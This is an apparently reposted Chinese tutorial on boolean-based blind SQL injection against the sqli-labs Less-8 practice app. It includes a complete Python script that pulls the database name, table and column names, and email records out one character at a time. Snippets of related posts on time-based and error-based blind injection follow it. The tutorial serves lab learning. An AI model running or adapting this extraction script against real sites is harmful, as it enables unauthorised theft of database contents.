基于布尔的盲注

 盲注是注入的一种,指的是在不知道数据返回值的情况下对数据中的内容进行猜测,实施注入。盲注一般分为布尔盲注和基于时间的盲注

#coding:utf-8
 2 import requests
 3
 4 # chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‘
 5
 6 #得知库名长度是8:http://localhost/sqlilabs/Less-8/?id=2‘ and length(database())>2 %23
 7
 8 def get_db_name():
 9     result=""
10     url_tempate="http://localhost/sqlilabs/Less-8/?id=2‘ and ascii(substr(database(),{0},1))>{1} %23"
11     chars=‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‘
12     for i in range(1,9):
13         for char in chars:
14             char_ascii=ord(char)
15             url=url_tempate.format(i,char_ascii)
16             response=requests.get(url)
17             length=len(response.text)
18             #返回的长度只有706和722
19             if length > 706:
20                 result +=char
21                 break
22     print (result)
23
24 #此处http://localhost/sqlilabs/Less-8/?id=2‘ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23得知表名长度是6
25 def get_table_name():
26     result=""
27     url_tempate="http://localhost/sqlilabs/Less-8/?id=2‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"
28     chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‘
29     for i in range(1,7):
30         for char in chars:
31             char_ascii=ord(char)
32             url=url_tempate.format(i,char_ascii)
33             response=requests.get(url)
34             length=len(response.text)
35             #返回的长度只有706和722
36             if length>706:
37                 result+=char
38                 break
39     print(result)
40
41 #在得到列名之前,同样需要知道在表中的字段长度。例如我们想要知道在emails表中的长度,那么就可以使用如下的语句来获取。http://localhost/sqlilabs/Less-8/?id=2‘ and (select length(column_name) from inf
42
43 def get_column_name():
44  result = ""
45  url_template = "http://localhost/sqlilabs/Less-8/?id=2‘ and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23"
46  chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz‘
47  for i in range(1,3):
48   for char in chars:
49    char_ascii = ord(char)
50    url = url_template.format(i,char_ascii)
51    response = requests.get(url)
52    length = len(response.text)
53    #返回的长度只有706和722
54    if length>706:
55     result += char
56     break
57  print(result)
58
59 def get_data():
60  result = ""
61  url_template = "http://localhost/sqlilabs/Less-8/?id=2‘ and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
62  chars = ‘[email protected]_abcdefghijklmnopqrstuvwxyz‘
63  for i in range(1,17):
64   for char in chars:
65    char_ascii = ord(char)
66    url = url_template.format(i,char_ascii)
67    response = requests.get(url)
68    length = len(response.text)
69    #返回的长度只有706和722
70    if length>706:
71     result += char
72     break
73  print(result)

原文地址:https://www.cnblogs.com/NBeveryday/p/8687373.html

时间: 2024-10-15 04:35:00

基于布尔的盲注的相关文章

Python:SQLMap源码精读之基于时间的盲注(time-based blind)

基于时间的盲注(time-based blind) 测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以确认.这可能源于多种原因,但主要是因为Web应用未显示任何错误,因而无法检索任何数据. 对于这种情况,要想识别漏洞,向数据库注入时间延迟并检查服务器响应是否也已经延迟会很有帮助.时间延迟是一种很强大的技术,Web服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL注入.该技术尤其适合盲注. 源码解释 代码位置:在checkSqlInjection函数中

Python:SQLMap源码精读之基于错误的盲注(error-based blind)

目标网址 http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1 Payload的生成 1 <test> 2 <title>MySQL >= 5.0 AND error-based - WHERE or HAVING clause</title> 3 <stype>2</stype> 4 <level>1</level> 5 <risk>0</r

mysql基于“时间”的盲注

无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 ====================================================================================================================================================================== * 猜解库名 - 下面是猜解正确 mysql> select sleep(1) from (sele

sqli-labs-master-Less-5 基于报错盲注/双注入

先从老套路开始-- ?id=1无报错,?id=1' 发现有报错!根据返回的语法错误可以判断是字符型 再然后可以判断出列数:?id=1' order by 3%23 然后按照套路,下一步应该是联合查询,可惜没有回显,这条路到这儿已经走到头了. 但是!但是!我们可以看看我们还有什么:1.语法错误仍然会显示出来2.You are in...的存在与否仍然可以帮助我们判断查询是否有正确 基于以上两点,就有了两种注入方式: 1.双注入(只要能回显语法错误,这种方式仍可使用,这种方式也是作者想考察的注入方式

mysql order by基于时间的盲注

order by后面的注入,一般先尝试报错注入,无报错的时候可以通过rand(ture)和rand(false)来进行bool型盲注,但是今天遇到完全没有数据回显的(也就是数据库中没有数据)情况,这就比较麻烦了.记录一下sql语句 参考文章:https://www.cnblogs.com/babers/p/7397525.html https://www.cnblogs.com/Vinson404/p/7246792.html?utm_source=itdadao&utm_medium=refe

注入学习(3) Mysql+php注入 基于bool和时间的盲注

练习三:Mysql+php 基于bool和时间的盲注 今天要用的函数(详细的直接看链接): left()函数:left()得到字符串左部指定个数的字符 left( string, n ) #string为要截取的字符串,n为长度 limit()函数:标准定义找百度 limit(a,b)  #我的理解 从第a个位置,截取b个数据 if语句/if()函数:在MySQL中语法如下 if(a,b,c)  #如果a为真,则if()函数执行b语句; 否则if()函数执行c语句; sleep()函数:函数代码

MYSQL注入天书之盲注讲解

Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从background-1中,我们可以知道盲注分为三类 ?基于布尔SQL盲注 ?基于时间的SQL盲注 ?基于报错的SQL盲注 Ps:知识点太多了,这里只能简单列出来大致讲解一下.(ps:每当看到前辈的奇淫技巧的payload时,能想象到我内心的喜悦么?我真的想细细的写写这一块,但是不知道该怎么写或者小伙伴

SQL盲注注入

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入.盲注一般分为布尔盲注和基于时间的盲注和报错的盲注.本次主要讲解的是基于布尔的盲注. Length()函数 返回字符串的长度 Substr()截取字符串 Ascii()返回字符的ascii码 sleep(n):将程序挂起一段时间 n为n秒 if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 当然如果上面的函数被禁用,也有相应的函数替换.可百度 布尔

DVWA-sql注入(盲注)

DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程. DVWA共有十个模块,分别是Brute Force(暴力(破解)).Command Injection(命令行注入).CSRF(跨站请求伪造).File Inclusion(文件包含).File Upload(文件上传).Insecure